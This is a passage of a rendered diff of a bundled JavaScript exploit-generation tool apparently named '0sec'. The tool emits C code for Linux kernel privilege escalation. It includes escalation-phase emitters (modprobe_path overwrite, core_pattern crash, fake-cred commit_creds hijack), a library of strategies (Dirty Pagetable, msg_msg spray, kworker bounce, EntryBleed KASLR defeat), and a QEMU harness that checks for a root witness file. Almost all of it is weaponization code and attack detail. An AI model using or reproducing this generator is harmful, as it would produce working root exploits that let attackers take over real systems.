" int fd = socket(fam, SOCK_DGRAM, 0);",
|
|
1163
|
+
" if (fd >= 0) close(fd);",
|
|
1164
|
+
" }",
|
|
1165
|
+
" /* Poll for the root-owned witness the helper wrote. Its existence + uid=0",
|
|
1166
|
+
" content is the ONLY thing we credit ROOT on. */",
|
|
1167
|
+
' int wf = open("/tmp/pwned", O_RDONLY);',
|
|
1168
|
+
" if (wf >= 0) {",
|
|
1169
|
+
" char w[256]; ssize_t n = read(wf, w, sizeof(w) - 1); close(wf);",
|
|
1170
|
+
" if (n > 0) {",
|
|
1171
|
+
" w[n] = 0;",
|
|
1172
|
+
" /* Evidence-bound ROOT: only if the witness actually proves uid=0. */",
|
|
1173
|
+
' if (strstr(w, "uid=0")) {',
|
|
1174
|
+
" char idbuf[300];",
|
|
1175
|
+
' snprintf(idbuf, sizeof(idbuf), "witness=/tmp/pwned %s", w);',
|
|
1176
|
+
" for (char *p = idbuf; *p; p++) if (*p == '\\n') *p = ' ';",
|
|
1177
|
+
` osec_marker("${rootTag}", idbuf);`,
|
|
1178
|
+
" g_race_run = 0; /* signal the race to stop \u2014 we have root */",
|
|
1179
|
+
" return;",
|
|
1180
|
+
" }",
|
|
1181
|
+
" }",
|
|
1182
|
+
" }",
|
|
1183
|
+
" usleep(20 * 1000);",
|
|
1184
|
+
" }",
|
|
1185
|
+
"}"
|
|
1186
|
+
];
|
|
1187
|
+
return [...raceFlag, ...dropper, ...worker].join("\n");
|
|
1188
|
+
}
|
|
1189
|
+
function emitEscalationPhase(canary, params, assessment, family) {
|
|
1190
|
+
const tail = params.rootTailPlan;
|
|
1191
|
+
const rootTag = RUNG_MARKER_TAG.root;
|
|
1192
|
+
if (assessment.finisher === "fake-cred-oneshot") {
|
|
1193
|
+
return [
|
|
1194
|
+
" /* \u2500\u2500 Escalation phase \u2014 fake-cred one-shot (fired in the reclaim driver) \u2500",
|
|
1195
|
+
" The forked unprivileged child is escalated when the kernel's re-armed",
|
|
1196
|
+
' timer runs commit_creds(&obj); its osec_marker("ROOT", ...) is bound to',
|
|
1197
|
+
" a genuine getuid()==0. Nothing to fire here \u2014 the driver above owns it. */"
|
|
1198
|
+
].join("\n");
|
|
1199
|
+
}
|
|
1200
|
+
if (assessment.finisher === "none") {
|
|
1201
|
+
return [
|
|
1202
|
+
" /* \u2500\u2500 Escalation phase \u2014 NO FINISHER EMITTED (partial artifact) \u2500\u2500\u2500\u2500\u2500\u2500",
|
|
1203
|
+
` gaps: ${assessment.gaps.join(", ") || "none"}`,
|
|
1204
|
+
tail ? ` The planner selected the '${cSafe(tail.tail)}' tail, for which this emitter` : " No root-tail plan was supplied, so no tail was selected;",
|
|
1205
|
+
tail ? " has no wired-up body (or the write cannot be aimed at a global). No" : " there is nothing to fire. No",
|
|
1206
|
+
" DROP / ROOT marker is emitted and no root is attempted. This artifact is",
|
|
1207
|
+
" a SCAFFOLD, not a failed exploit \u2014 see the PARTIAL marker above. */"
|
|
1208
|
+
].join("\n");
|
|
1209
|
+
}
|
|
1210
|
+
if (assessment.finisher === "core-pattern-crash") {
|
|
1211
|
+
return [
|
|
1212
|
+
" /* \u2500\u2500 Escalation phase \u2014 core_pattern tail (self-crash trigger) \u2500\u2500\u2500\u2500\u2500\u2500",
|
|
1213
|
+
` tail: core_pattern \u2192 ${cSafe(tail.targetSymbol)}; payload: ${tail.pathString ? cEscapedString(tail.pathString) : "(none)"}. */`,
|
|
1214
|
+
" if (g_target_addr == 0) {",
|
|
1215
|
+
" /* HONEST GAP: no resolved/leaked target address \u2014 write cannot be aimed. */",
|
|
1216
|
+
" } else if (osec_drop_payload() == 0) {",
|
|
1217
|
+
` if (setuid(${DROP_UID}) == 0 && getuid() == ${DROP_UID}) {`,
|
|
1218
|
+
' char db[32]; snprintf(db, sizeof(db), "uid=%d", getuid());',
|
|
1219
|
+
` osec_marker("DROP", db); /* bound to a real setuid */`,
|
|
1220
|
+
" pid_t c = fork();",
|
|
1221
|
+
" if (c == 0) { *(volatile int *)0 = 0; _exit(0); } /* self-crash \u2192 core */",
|
|
1222
|
+
" waitpid(c, NULL, 0);",
|
|
1223
|
+
" /* Evidence-bound ROOT: credit only the /tmp/pwned uid=0 witness the",
|
|
1224
|
+
" core-piped helper wrote as root \u2014 never getuid() in this process. */",
|
|
1225
|
+
' int wf = open("/tmp/pwned", O_RDONLY);',
|
|
1226
|
+
" if (wf >= 0) {",
|
|
1227
|
+
" char w[256]; ssize_t n = read(wf, w, sizeof(w) - 1); close(wf);",
|
|
1228
|
+
' if (n > 0) { w[n] = 0; if (strstr(w, "uid=0")) {',
|
|
1229
|
+
' char idbuf[300]; snprintf(idbuf, sizeof(idbuf), "witness=/tmp/pwned %s", w);',
|
|
1230
|
+
" for (char *p = idbuf; *p; p++) if (*p == '\\n') *p = ' ';",
|
|
1231
|
+
` osec_marker("${rootTag}", idbuf); } }`,
|
|
1232
|
+
" }",
|
|
1233
|
+
" }",
|
|
1234
|
+
" }"
|
|
1235
|
+
].join("\n");
|
|
1236
|
+
}
|
|
1237
|
+
const label = [
|
|
1238
|
+
` /* \u2500\u2500 Escalation phase \u2014 request_module finisher \u2192 ${cSafe(tail.targetSymbol)} \u2500\u2500`,
|
|
1239
|
+
` tail: ${cSafe(tail.tail)}; payload: ${tail.pathString ? cEscapedString(tail.pathString) : "(none)"}. */`
|
|
1240
|
+
];
|
|
1241
|
+
if (family === "alsa-seq-rawmidi") {
|
|
1242
|
+
return [
|
|
1243
|
+
...label,
|
|
1244
|
+
" /* The /tmp/x dropper was created and the dropped-uid request_module trigger",
|
|
1245
|
+
" was FORKED by the race driver above (reclaim phase), so the trigger fires",
|
|
1246
|
+
" CONTINUOUSLY during the race \u2014 a won race overwrites modprobe_path and the",
|
|
1247
|
+
" forked child witnesses /tmp/pwned (uid=0) and prints the ROOT marker. There",
|
|
1248
|
+
" is deliberately no post-race one-shot trigger here (that misses the async",
|
|
1249
|
+
" win) and no getuid()==0 self-check (this process never becomes root). */"
|
|
1250
|
+
].join("\n");
|
|
1251
|
+
}
|
|
1252
|
+
return [
|
|
1253
|
+
...label,
|
|
1254
|
+
" /* No bug-specific race driver for this family, so the dropped-uid trigger is",
|
|
1255
|
+
" forked HERE rather than in-race. Same worker, same evidence rule: ROOT is",
|
|
1256
|
+
" credited only on the /tmp/pwned uid=0 witness the helper writes as root. */",
|
|
1257
|
+
" if (g_target_addr == 0) {",
|
|
1258
|
+
" /* HONEST GAP: no resolved/leaked target address \u2014 the write cannot be aimed",
|
|
1259
|
+
" at the global, so firing the trigger would prove nothing. Do not fork. */",
|
|
1260
|
+
" } else if (osec_drop_payload() == 0) {",
|
|
1261
|
+
" g_race_run = 1; /* the child inherits this at fork() time */",
|
|
1262
|
+
" pid_t osec_trig_pid = fork();",
|
|
1263
|
+
" if (osec_trig_pid == 0) { osec_trigger_worker(); _exit(0); }",
|
|
1264
|
+
" if (osec_trig_pid > 0) {",
|
|
1265
|
+
" /* Bounded wait: the worker polls /tmp/pwned and clears g_race_run on a",
|
|
1266
|
+
" win. Cap the window so a miss cannot hang the harness run. */",
|
|
1267
|
+
" int waited = 0;",
|
|
1268
|
+
" while (waited++ < 250 && waitpid(osec_trig_pid, NULL, WNOHANG) == 0)",
|
|
1269
|
+
" usleep(20 * 1000);",
|
|
1270
|
+
" g_race_run = 0;",
|
|
1271
|
+
" kill(osec_trig_pid, SIGKILL);",
|
|
1272
|
+
" waitpid(osec_trig_pid, NULL, 0);",
|
|
1273
|
+
" }",
|
|
1274
|
+
" }"
|
|
1275
|
+
].join("\n");
|
|
1276
|
+
}
|
|
1277
|
+
function cEscapedString(s) {
|
|
1278
|
+
let out = '"';
|
|
1279
|
+
for (const ch of s) {
|
|
1280
|
+
const code = ch.charCodeAt(0);
|
|
1281
|
+
if (ch === "\0")
|
|
1282
|
+
out += "\\0";
|
|
1283
|
+
else if (ch === '"')
|
|
1284
|
+
out += '\\"';
|
|
1285
|
+
else if (ch === "\\")
|
|
1286
|
+
out += "\\\\";
|
|
1287
|
+
else if (ch === "\n")
|
|
1288
|
+
out += "\\n";
|
|
1289
|
+
else if (code < 32 || code > 126)
|
|
1290
|
+
out += "\\x" + code.toString(16).padStart(2, "0");
|
|
1291
|
+
else
|
|
1292
|
+
out += ch;
|
|
1293
|
+
}
|
|
1294
|
+
out += '"';
|
|
1295
|
+
return out;
|
|
1296
|
+
}
|
|
1297
|
+
function emitRungPhase(rung, params, family, climbsToRoot, assessment) {
|
|
1298
|
+
if (rung === "none")
|
|
1299
|
+
return "";
|
|
1300
|
+
const tag = RUNG_MARKER_TAG[rung];
|
|
1301
|
+
if (rung === "attempted") {
|
|
1302
|
+
return [
|
|
1303
|
+
" /* Phase 0 \u2014 harness reached the exploit entry point. */",
|
|
1304
|
+
` osec_marker("${tag}", "entry");`,
|
|
1305
|
+
"",
|
|
1306
|
+
// A partial artifact announces itself in its own output, FIRST, before any
|
|
1307
|
+
// capability marker. A consumer reading only stdout must not be able to
|
|
1308
|
+
// mistake a scaffold that never had a finisher for an exploit that ran and
|
|
1309
|
+
// failed. Canary-bound like every other marker, and the tag is deliberately
|
|
1310
|
+
// not a rung tag so the oracle's rung crediting cannot see it.
|
|
1311
|
+
...assessment.complete ? [] : [
|
|
1312
|
+
" /* PARTIAL ARTIFACT \u2014 this emission has no complete root finisher. */",
|
|
1313
|
+
// Sanitize each token individually: `cSafe` drops commas, so joining
|
|
1314
|
+
// first would fuse the whole gap list into one unreadable word.
|
|
1315
|
+
` osec_marker("${PARTIAL_MARKER_TAG}", "${assessment.gaps.map(cSafe).join(",")}");`,
|
|
1316
|
+
""
|
|
1317
|
+
],
|
|
1318
|
+
" /* Resolve the root-tail target address up front (static under KASLR-off,",
|
|
1319
|
+
" or kaslr_base + offset from a runtime leak under KASLR-on) so the",
|
|
1320
|
+
" reclaim spray below stamps a REAL address into the fake object. */",
|
|
1321
|
+
emitTargetAddrSetup(params, family)
|
|
1322
|
+
].join("\n");
|
|
1323
|
+
}
|
|
1324
|
+
if (rung === "triggered") {
|
|
1325
|
+
return " /* Phase T \u2014 trigger evidence is emitted by the real family driver. */";
|
|
1326
|
+
}
|
|
1327
|
+
if (rung === "reclaim") {
|
|
1328
|
+
return emitSprayPhase(params.canary, params, family, climbsToRoot, assessment);
|
|
1329
|
+
}
|
|
1330
|
+
if (rung === "arb-read") {
|
|
1331
|
+
return [
|
|
1332
|
+
" /* Phase R \u2014 controlled read: the read capability is NOT self-witnessable",
|
|
1333
|
+
" from userspace. We deliberately emit NO arb-read marker here \u2014 the",
|
|
1334
|
+
" oracle credits this rung only from the witnessed reclaim/read evidence",
|
|
1335
|
+
" in dmesg (RECLAIM_WITNESS), never from an unconditional print. */"
|
|
1336
|
+
].join("\n");
|
|
1337
|
+
}
|
|
1338
|
+
if (rung === "arb-write") {
|
|
1339
|
+
return [
|
|
1340
|
+
" /* Phase W \u2014 controlled write: the write LANDING is NOT self-witnessable",
|
|
1341
|
+
" from userspace (the proof is the sprayed ptr at the KASAN write site in",
|
|
1342
|
+
" dmesg). We deliberately emit NO arb-write marker \u2014 crediting it on the",
|
|
1343
|
+
" static 'controllable' plan fact is exactly what made ARB-WRITE:aimed fire",
|
|
1344
|
+
" on 144 runs with zero real writes. The oracle credits this rung from the",
|
|
1345
|
+
" witnessed KASAN write-site evidence (RECLAIM_WITNESS) only. */"
|
|
1346
|
+
].join("\n");
|
|
1347
|
+
}
|
|
1348
|
+
return emitEscalationPhase(params.canary, params, assessment, family);
|
|
1349
|
+
}
|
|
1350
|
+
function emitWeaponizationC(opts) {
|
|
1351
|
+
const rungs = ladderUpTo(opts.targetRung);
|
|
1352
|
+
const family = detectTriggerFamily(opts.faultingPc);
|
|
1353
|
+
const climbsToReclaim = rungs.includes("reclaim");
|
|
1354
|
+
const kaslrLeakNeeded = kaslrLeakEmitted(rungs, opts.rootTailPlan, family);
|
|
1355
|
+
const climbsToRoot = rungs.includes("root");
|
|
1356
|
+
const assessment = assessWeaponization({
|
|
1357
|
+
...opts.writeProfile ? { writeProfile: opts.writeProfile } : {},
|
|
1358
|
+
...opts.sprayPlans ? { sprayPlans: opts.sprayPlans } : {},
|
|
1359
|
+
...opts.rootTailPlan ? { rootTailPlan: opts.rootTailPlan } : {},
|
|
1360
|
+
family,
|
|
1361
|
+
writeAimable: escalationFireable(opts),
|
|
1362
|
+
climbsToRoot
|
|
1363
|
+
});
|
|
1364
|
+
const phases = rungs.map((r) => emitRungPhase(r, opts, family, climbsToRoot, assessment)).join("\n\n");
|
|
1365
|
+
const fileScopeHelpers = [];
|
|
1366
|
+
if (climbsToReclaim) {
|
|
1367
|
+
if (family === "timer-list-uaf") {
|
|
1368
|
+
fileScopeHelpers.push(emitTimerUafTrigger({
|
|
1369
|
+
...opts.canary ? { canary: opts.canary } : {},
|
|
1370
|
+
...opts.faultingPc ? { faultingPc: opts.faultingPc } : {},
|
|
1371
|
+
...opts.objectHint ? { slabCache: opts.objectHint } : {},
|
|
1372
|
+
...opts.writeProfile ? { writeProfile: opts.writeProfile } : {},
|
|
1373
|
+
...opts.rootTailPlan?.hardenedNeedsTextLeak ? { hardenedNeedsTextLeak: true } : {}
|
|
1374
|
+
}).join("\n"), "");
|
|
1375
|
+
} else if (family === "alsa-seq-rawmidi") {
|
|
1376
|
+
fileScopeHelpers.push(emitAlsaSeqRawmidiTrigger({
|
|
1377
|
+
...opts.faultingPc ? { faultingPc: opts.faultingPc } : {},
|
|
1378
|
+
...opts.objectHint ? { slabCache: opts.objectHint } : {},
|
|
1379
|
+
...opts.writeProfile ? { writeProfile: opts.writeProfile } : {},
|
|
1380
|
+
pinCpu: 0
|
|
1381
|
+
}).join("\n"), "");
|
|
1382
|
+
}
|
|
1383
|
+
if (family !== "timer-list-uaf") {
|
|
1384
|
+
fileScopeHelpers.push(emitReclaimSprayFunction(opts.canary, opts), "");
|
|
1385
|
+
if (kaslrLeakNeeded) {
|
|
1386
|
+
fileScopeHelpers.push(emitKaslrLeakFunction(), "");
|
|
1387
|
+
}
|
|
1388
|
+
}
|
|
1389
|
+
}
|
|
1390
|
+
if (climbsToRoot && (assessment.finisher === "modprobe-request-module" || assessment.finisher === "core-pattern-crash")) {
|
|
1391
|
+
fileScopeHelpers.push(emitRootTailHelpers(opts, assessment.finisher, family !== "alsa-seq-rawmidi"), "");
|
|
1392
|
+
}
|
|
1393
|
+
const reproBlock = opts.reproducer ? [
|
|
1394
|
+
"/* \u2500\u2500 Embedded memory-safety trigger (provenance) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
|
|
1395
|
+
commentSafe(opts.reproducer.slice(0, 4e3)),
|
|
1396
|
+
"\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */",
|
|
1397
|
+
""
|
|
1398
|
+
].join("\n") : "";
|
|
1399
|
+
const planComment = [
|
|
1400
|
+
" *",
|
|
1401
|
+
" * Phase-3 plan:",
|
|
1402
|
+
opts.writeProfile ? ` * write: dst@${hx(opts.writeProfile.dstOffset)} len@${hx(opts.writeProfile.lenOffset)} controllable=${opts.writeProfile.controllable ?? "?"}` : " * write: (no profile \u2014 partial)",
|
|
1403
|
+
opts.sprayPlans && opts.sprayPlans.length ? ` * spray: ${opts.sprayPlans.map((p) => `${p.primitive}${p.bucketMatch ? "*" : ""}`).join(", ")} (first bucket-match drives reclaim)` : " * spray: (no plan \u2014 partial)",
|
|
1404
|
+
opts.rootTailPlan ? ` * root-tail: ${opts.rootTailPlan.tail} \u2192 ${opts.rootTailPlan.targetSymbol ?? "?"}` : " * root-tail: (no plan \u2014 partial)",
|
|
1405
|
+
" *",
|
|
1406
|
+
// The machine-parsable verdict. One regex over the artifact recovers whether
|
|
1407
|
+
// this is a finished exploit or a scaffold, and exactly what is missing —
|
|
1408
|
+
// without compiling it, running it, or reading prose.
|
|
1409
|
+
` * ${artifactVerdictLine(assessment)}`
|
|
1410
|
+
].join("\n");
|
|
1411
|
+
const completenessDefines = assessment.complete ? [`#define ${COMPLETE_DEFINE} 1`, ""] : [
|
|
1412
|
+
`#define ${PARTIAL_DEFINE} 1`,
|
|
1413
|
+
`#define OSEC_WEAPONIZATION_GAPS "${assessment.gaps.map(cSafe).join(",")}"`,
|
|
1414
|
+
`#warning "0sec: PARTIAL weaponization artifact - no complete root finisher (gaps: ${assessment.gaps.map(cSafe).join(",")}). This is a SCAFFOLD, not a working exploit."`,
|
|
1415
|
+
""
|
|
1416
|
+
];
|
|
1417
|
+
return [
|
|
1418
|
+
`/* 0sec weaponization \u2014 strategy=${cSafe(opts.strategyId)}`,
|
|
1419
|
+
` * techniques: ${opts.techniques.join(", ")}`,
|
|
1420
|
+
` * target rung: ${opts.targetRung}`,
|
|
1421
|
+
opts.objectHint ? ` * victim object: ${cSafe(opts.objectHint)}` : " * victim object: (unknown)",
|
|
1422
|
+
planComment,
|
|
1423
|
+
" *",
|
|
1424
|
+
" * Plan-driven body: a real spray/reclaim/uid-dropped-trigger chain. Whether",
|
|
1425
|
+
" * it ROOTS is decided by the live QEMU run + the deterministic oracle \u2014 the",
|
|
1426
|
+
" * capability markers below fire only when the step genuinely happens.",
|
|
1427
|
+
" */",
|
|
1428
|
+
markerPreamble(opts.canary),
|
|
1429
|
+
"",
|
|
1430
|
+
...completenessDefines,
|
|
1431
|
+
"/* The root-tail target the spray stamps into the reclaimed dst pointer.",
|
|
1432
|
+
" Resolved at the top of main(): static (KASLR off) or kaslr_base+offset",
|
|
1433
|
+
" from a runtime leak (KASLR on). 0 until resolved \u2014 an inert copy the",
|
|
1434
|
+
" oracle refuses to credit. */",
|
|
1435
|
+
"unsigned long g_target_addr = 0;",
|
|
1436
|
+
"",
|
|
1437
|
+
...fileScopeHelpers,
|
|
1438
|
+
reproBlock,
|
|
1439
|
+
"int main(void) {",
|
|
1440
|
+
phases,
|
|
1441
|
+
"",
|
|
1442
|
+
rungAtLeast(opts.targetRung, "attempted") ? " /* No higher capability confirmed; exit cleanly so the harness records the attempt. */" : "",
|
|
1443
|
+
" return 0;",
|
|
1444
|
+
"}",
|
|
1445
|
+
""
|
|
1446
|
+
].filter((line) => line !== "").join("\n");
|
|
1447
|
+
}
|
|
1448
|
+
function hx(n) {
|
|
1449
|
+
return n === void 0 ? "?" : `0x${n.toString(16)}`;
|
|
1450
|
+
}
|
|
1451
|
+
|
|
1452
|
+
// packages/core/dist/kernel/exploit/library.js
|
|
1453
|
+
function strategy(spec) {
|
|
1454
|
+
const techniques = [...spec.techniques];
|
|
1455
|
+
return {
|
|
1456
|
+
...spec,
|
|
1457
|
+
emit: spec.emit ?? ((params) => emitWeaponizationC({
|
|
1458
|
+
...params,
|
|
1459
|
+
strategyId: spec.id,
|
|
1460
|
+
techniques
|
|
1461
|
+
}))
|
|
1462
|
+
};
|
|
1463
|
+
}
|
|
1464
|
+
var PRIMITIVE_LIBRARY = [
|
|
1465
|
+
strategy({
|
|
1466
|
+
id: "page-uaf-pte",
|
|
1467
|
+
title: "Page-granularity UAF \u2192 page-table overwrite (Dirty Pagetable)",
|
|
1468
|
+
appliesTo: ["use-after-free"],
|
|
1469
|
+
control: "write",
|
|
1470
|
+
ceiling: "root",
|
|
1471
|
+
techniques: ["page-uaf", "cross-cache", "pte-spray", "dirty-pagetable"],
|
|
1472
|
+
rootTail: "cred-overwrite",
|
|
1473
|
+
description: "Reclaim a freed page as a page-table page via cross-cache spray, then use the dangling write to forge a PTE that maps an attacker-controlled physical page (Dirty Pagetable). Yields arbitrary physical read/write, escalated to root by overwriting credentials of a sentinel process."
|
|
1474
|
+
}),
|
|
1475
|
+
strategy({
|
|
1476
|
+
id: "timer-uaf-fakecred",
|
|
1477
|
+
title: "timer/ops UAF \u2192 fake-cred one-shot (forged cred + commit_creds hijack)",
|
|
1478
|
+
appliesTo: ["use-after-free", "double-free"],
|
|
1479
|
+
// A control-flow (fn-ptr) primitive: the freed object owns a timer/ops
|
|
1480
|
+
// callback the kernel calls after free — not a memcpy write.
|
|
1481
|
+
control: "call",
|
|
1482
|
+
ceiling: "root",
|
|
1483
|
+
techniques: ["timer-list-uaf", "msg_msg-spray", "fake-cred", "softirq-child"],
|
|
1484
|
+
rootTail: "cred-overwrite",
|
|
1485
|
+
description: "Reclaim a freed object that owns an embedded `timer_list` with a forged `msg_msg` so the object doubles as a `struct cred` and its `timer_list.function` becomes `commit_creds` (rdi = &obj). The kernel re-arms the timer (mod_timer) leaving base/flags intact and injecting only `.function`; when the timer softirq fires in a busy-spinning unprivileged child, commit_creds(&obj) escalates it to root. Data-only (no arbitrary R/W, no writable global); assumes CFI off, and under KASLR needs a paired kernel-text infoleak (the physmap MODE_LEAK step recovers only page_offset_base)."
|
|
1486
|
+
}),
|
|
1487
|
+
strategy({
|
|
1488
|
+
id: "timer-uaf-workqueue-bounce",
|
|
1489
|
+
title: "timer/ops UAF \u2192 forge-pwq \u2192 kworker process-context bounce \u2192 WWW \u2192 modprobe_path",
|
|
1490
|
+
appliesTo: ["use-after-free", "double-free"],
|
|
1491
|
+
// Same control-flow (fn-ptr) lever as the fake-cred one-shot, but the timer
|
|
1492
|
+
// bounces into PROCESS context (a real kworker) instead of firing in softirq.
|
|
1493
|
+
control: "call",
|
|
1494
|
+
ceiling: "root",
|
|
1495
|
+
techniques: [
|
|
1496
|
+
"timer-list-uaf",
|
|
1497
|
+
"user_key_payload-reclaim",
|
|
1498
|
+
"self-address-leak",
|
|
1499
|
+
"entrybleed",
|
|
1500
|
+
"forge-pwq",
|
|
1501
|
+
"kworker-bounce",
|
|
1502
|
+
"unlink-www"
|
|
1503
|
+
],
|
|
1504
|
+
rootTail: "modprobe_path",
|
|
1505
|
+
description: "The GuitarZero poison-tolerant sibling of the fake-cred one-shot (0sec#1215). Reclaim the freed timer-owning object with a user_key_payload (survives MEMCG + SLAB_BUCKETS), leak the chunk self-address (N-object same-bucket timer linkage, chunk = leaked\u2212344) and the timer-bucket per-CPU pointer, recover __per_cpu_offset[0], and forge a workqueue_struct+pool_workqueue at chunk+256 (256-aligned) pointing pwq->pool at the computed real cpu_worker_pools[0][0] \u2014 so delayed_work_timer_fn \u2192 __queue_work \u2192 process_one_work runs work->func in a REAL kworker (process context, NO arbitrary read). A survivable unlink-WWW gadget overwrites modprobe_path. Text base via EntryBleed (bare metal) or a companion leak (virtualized TSC); assumes CFI off (kCFI \u21D2 data-only tail). Composed by guitarzero-primitives.ts#composeTimerUafChain."
|
|
1506
|
+
}),
|
|
1507
|
+
strategy({
|
|
1508
|
+
id: "skmsg-uaf-msgmsg",
|
|
1509
|
+
title: "socket-kmalloc UAF \u2192 msg_msg spray \u2192 arbitrary R/W",
|
|
1510
|
+
appliesTo: ["use-after-free", "double-free"],
|
|
1511
|
+
control: "write",
|
|
1512
|
+
ceiling: "root",
|
|
1513
|
+
techniques: ["sock_kmalloc", "msg_msg-spray", "uffd-widen"],
|
|
1514
|
+
rootTail: "modprobe_path",
|
|
1515
|
+
description: "Spray `msg_msg` objects into the freed `sock_kmalloc` slot to reclaim the dangling object, widen the corruption window with userfaultfd, and pivot the controlled write into an arbitrary kernel read/write. Roots by overwriting `modprobe_path` and triggering a modprobe invocation."
|
|
1516
|
+
}),
|
|
1517
|
+
strategy({
|
|
1518
|
+
id: "oob-write-cross-cache",
|
|
1519
|
+
title: "Heap OOB write \u2192 cross-cache \u2192 core_pattern root",
|
|
1520
|
+
appliesTo: ["out-of-bounds-write"],
|
|
1521
|
+
control: "write",
|
|
1522
|
+
ceiling: "root",
|
|
1523
|
+
techniques: ["heap-groom", "cross-cache", "core_pattern"],
|
|
1524
|
+
rootTail: "core_pattern",
|
|
1525
|
+
description: "Groom a victim object immediately after the overflowed allocation, drive the out-of-bounds write to corrupt a controlled field, and escalate by overwriting `core_pattern` to run an attacker binary as root on the next crash."
|
|
1526
|
+
}),
|
|
1527
|
+
strategy({
|
|
1528
|
+
id: "uaf-oob-read-leak",
|
|
1529
|
+
title: "UAF / OOB read \u2192 adjacent-object info leak",
|
|
1530
|
+
appliesTo: ["use-after-free", "out-of-bounds-read"],
|
|
1531
|
+
control: "read",
|
|
1532
|
+
ceiling: "arb-read",
|
|
1533
|
+
techniques: ["msg_msg-spray", "kaslr-leak"],
|
|
1534
|
+
description: "Reclaim the freed / under-sized object with a marker payload and use the dangling or out-of-bounds read to leak adjacent kernel memory back to userspace (KASLR / heap-pointer disclosure). A read-only building block \u2014 feeds a later write chain rather than reaching root on its own."
|
|
1535
|
+
}),
|
|
1536
|
+
strategy({
|
|
1537
|
+
id: "uninit-stack-copyout-leak",
|
|
1538
|
+
title: "Uninitialized on-stack struct \u2192 copy_to_user \u2192 kernel-pointer leak",
|
|
1539
|
+
appliesTo: ["uninitialized-access", "out-of-bounds-read"],
|
|
1540
|
+
control: "read",
|
|
1541
|
+
ceiling: "arb-read",
|
|
1542
|
+
techniques: ["uninit-stack", "copy_to_user-leak", "kaslr-leak"],
|
|
1543
|
+
description: "Reach a syscall/ioctl path that copies a partially-initialized on-stack struct (padding or an unwritten field) back to userspace via `copy_to_user`. Prime the kernel stack with attacker-chosen frames so the uninitialized bytes carry a leaked kernel/heap pointer (KASLR / stack canary disclosure). A read-only building block \u2014 feeds a later write chain."
|
|
1544
|
+
}),
|
|
1545
|
+
strategy({
|
|
1546
|
+
id: "proc-sysctl-addr-leak",
|
|
1547
|
+
title: "/proc or sysctl surface \u2192 kernel-address disclosure",
|
|
1548
|
+
appliesTo: ["out-of-bounds-read", "uninitialized-access"],
|
|
1549
|
+
control: "read",
|
|
1550
|
+
ceiling: "arb-read",
|
|
1551
|
+
techniques: ["proc-leak", "sysctl-leak", "kaslr-leak"],
|
|
1552
|
+
description: "Read an unprivileged `/proc` or sysctl surface that prints a raw kernel address (an `%p`-without-`%pK` driver file, a pointer in `/proc/<pid>/*`, or a sysctl echoing a symbol) to recover the KASLR base or a heap pointer. A bug-adjacent infoleak surface \u2014 supplies the base a later data-only write tail needs, without corrupting anything itself."
|
|
1553
|
+
}),
|
|
1554
|
+
strategy({
|
|
1555
|
+
id: "entrybleed-prefetch-kaslr",
|
|
1556
|
+
title: "EntryBleed / prefetch KASLR side-channel \u2192 kernel-text base",
|
|
1557
|
+
appliesTo: [
|
|
1558
|
+
"use-after-free",
|
|
1559
|
+
"out-of-bounds-write",
|
|
1560
|
+
"out-of-bounds-read",
|
|
1561
|
+
"double-free",
|
|
1562
|
+
"uninitialized-access"
|
|
1563
|
+
],
|
|
1564
|
+
// A pure microarchitectural timing side-channel: it needs NO memory-safety
|
|
1565
|
+
// control from the bug, so it pairs with any exploitable primitive to
|
|
1566
|
+
// supply the KASLR base the write tail requires.
|
|
1567
|
+
control: "none",
|
|
1568
|
+
ceiling: "arb-read",
|
|
1569
|
+
techniques: ["entrybleed", "prefetch-sidechannel", "kaslr-leak"],
|
|
1570
|
+
description: "Time `prefetch` against the KPTI entry-trampoline mappings (EntryBleed, CVE-2022-4543) to recover the kernel-text base without any memory corruption \u2014 a bug-independent KASLR defeat on affected Intel CPUs. Supplies the coarse base that the data-only write tails (modprobe_path / core_pattern) need under RANDOMIZE_BASE."
|
|
1571
|
+
})
|
|
1572
|
+
];
|
|
1573
|
+
function selectStrategies(primitive) {
|
|
1574
|
+
const grantsWrite = primitive.control === "write";
|
|
1575
|
+
const grantsRead = primitive.control === "write" || primitive.control === "read";
|
|
1576
|
+
const grantsFree = primitive.control === "free" || grantsWrite;
|
|
1577
|
+
const grantsCall = primitive.control === "call";
|
|
1578
|
+
return PRIMITIVE_LIBRARY.filter((s) => {
|
|
1579
|
+
if (!s.appliesTo.includes(primitive.kind))
|
|
1580
|
+
return false;
|
|
1581
|
+
if (s.control === "write")
|
|
1582
|
+
return grantsWrite;
|
|
1583
|
+
if (s.control === "read")
|
|
1584
|
+
return grantsRead;
|
|
1585
|
+
if (s.control === "free")
|
|
1586
|
+
return grantsFree;
|
|
1587
|
+
if (s.control === "call")
|
|
1588
|
+
return grantsCall;
|
|
1589
|
+
return true;
|
|
1590
|
+
}).sort((a, b) => rungRank(b.ceiling) - rungRank(a.ceiling));
|
|
1591
|
+
}
|
|
1592
|
+
function getStrategy(id) {
|
|
1593
|
+
return PRIMITIVE_LIBRARY.find((s) => s.id === id);
|
|
1594
|
+
}
|
|
1595
|
+
|
|
1596
|
+
// packages/core/dist/kernel/exploit/harness.js
|
|
1597
|
+
function bootedCacheKey(explicit) {
|
|
1598
|
+
const v = explicit ?? process.env["0SEC_KERNEL_QEMU_CACHEKEY"]?.trim();
|
|
1599
|
+
return v && v.length > 0 ? v : void 0;
|
|
1600
|
+
}
|
|
1601
|
+
function kernelVmArtifactsReady() {
|
|
1602
|
+
const kernel = process.env["0SEC_KERNEL_QEMU_KERNEL"]?.trim();
|
|
1603
|
+
const disk = process.env["0SEC_KERNEL_QEMU_DISK"]?.trim();
|
|
1604
|
+
return Boolean(kernel && disk && existsSync(kernel) && existsSync(disk));
|
|
1605
|
+
}
|
|
1606
|
+
function mintCanary() {
|
|
1607
|
+
return `wk-${randomBytes(8).toString("hex")}`;
|
|
1608
|
+
}
|
|
1609
|
+
function buildVmReport(primitive, c) {
|
|
1610
|
+
return {
|
|
1611
|
+
raw: "",
|
|
1612
|
+
